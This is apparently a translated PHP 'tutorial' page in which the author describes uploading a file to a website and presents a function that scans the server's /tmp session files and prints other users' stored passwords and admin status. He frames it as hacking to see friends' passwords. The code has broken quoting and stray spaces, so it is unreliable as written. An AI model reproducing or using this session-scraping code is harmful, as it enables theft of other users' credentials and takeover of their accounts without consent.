A function to view session content_PHP tutorial

The reason why this function can be written is mainly because the session structure of the website is clear, such as: name|s:4:"tasm";passwd|s:6:"111111";mode|s:1:"1" , also know the location where the session is stored, and can upload files, so I did a little hacking at that time, and the passwords of online friends can be seen at a glance, haha:
function submit1( ){
global $username;
print "";
$i=0;
if($username=="tasm"|| $username=="Tasm")
{
print "Are you too shady? Are you checking me too?";
return;
}
$path="/tmp /";
$d = dir($path);
while($entry=$d->read()){
if(substr($entry,0,4)==" sess"){
$entry=$path.$entry;
$ary=@file($entry);
if(!empty($ary[0])){
$ary = explode(";",$ary[0]);
$name= explode(":",$ary[0]);
if($name[2]==""".$ username."""){
$passwd= explode(":",$ary[1]);
$mode=explode(":",$ary[3]);
print " User pen name: ".$name[2]."
Use password: ".$passwd[2]."
Use mode:";
if($mode[1]==1 )
print "admin";
else
print "General user";
print"

Stealing from others Passwords are immoral, please do something about it
";
$i=1;
break;
}}}}
if(!$i)
print "User :".$username." Is it really online? If you are sure, Please try again, don’t type more spaces! ";
$d->close();
}

function login(){
?>